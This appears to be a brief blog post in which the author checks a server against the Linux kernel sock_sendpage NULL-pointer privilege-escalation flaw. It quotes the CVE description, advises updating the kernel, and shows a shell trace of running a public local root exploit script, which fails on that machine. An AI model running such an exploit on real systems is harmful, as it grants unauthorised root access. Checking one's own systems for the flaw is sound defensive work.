This source (or you can download original source here) is written in c and it require some level of understanding into linux system as well. You should find explanation for the source exploit.c here, here or here. As explain in the documentation, this exploit mainly target this kernel version:
- kernel 2.6.0 to 18.104.22.168
- kernel 2.4.4 to 22.214.171.124
So check your system if your server kernel falled within this range and do a kernel update if it does as there is already fixed.
According to the cve, description for this exploit
The Linux kernel 2.6.0 through 126.96.36.199, and 2.4.4 through 188.8.131.52, does not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero, placing arbitrary code on this page, and then invoking an unavailable operation, as demonstrated by the sendpage operation (sock_sendpage function) on a PF_PPPOX socket.
Okay, let's download the source and try it.
user@localhost:~/Desktop/exploit/wunderbar_emporium$ sh -x wunderbar_emporium.sh
++ sed 's/\//\\\//g'
+ sed 's/\/home\/spender/\/home\/user\/Desktop\/exploit\/wunderbar_emporium/g' pwnkernel.c
+ mv pwnkernel.c pwnkernel2.c
+ mv pwnkernel1.c pwnkernel.c
+ killall -9 pulseaudio
++ uname -p
+ '[' unknown = x86_64 ']'
++ cat /proc/sys/vm/mmap_min_addr
+ '[' 65536 = '' -o 65536 = 0 ']'
+ '[' '!' -f /usr/sbin/getenforce ']'
+ cc -fno-stack-protector -fPIC -shared -o exploit.so exploit.c
+ cc -o pwnkernel pwnkernel.c
[+] Personality set to: PER_SVR4
Pulseaudio is not suid root!
+ mv -f pwnkernel2.c pwnkernel.c
So this server is not vulnerable for this exploit! All good.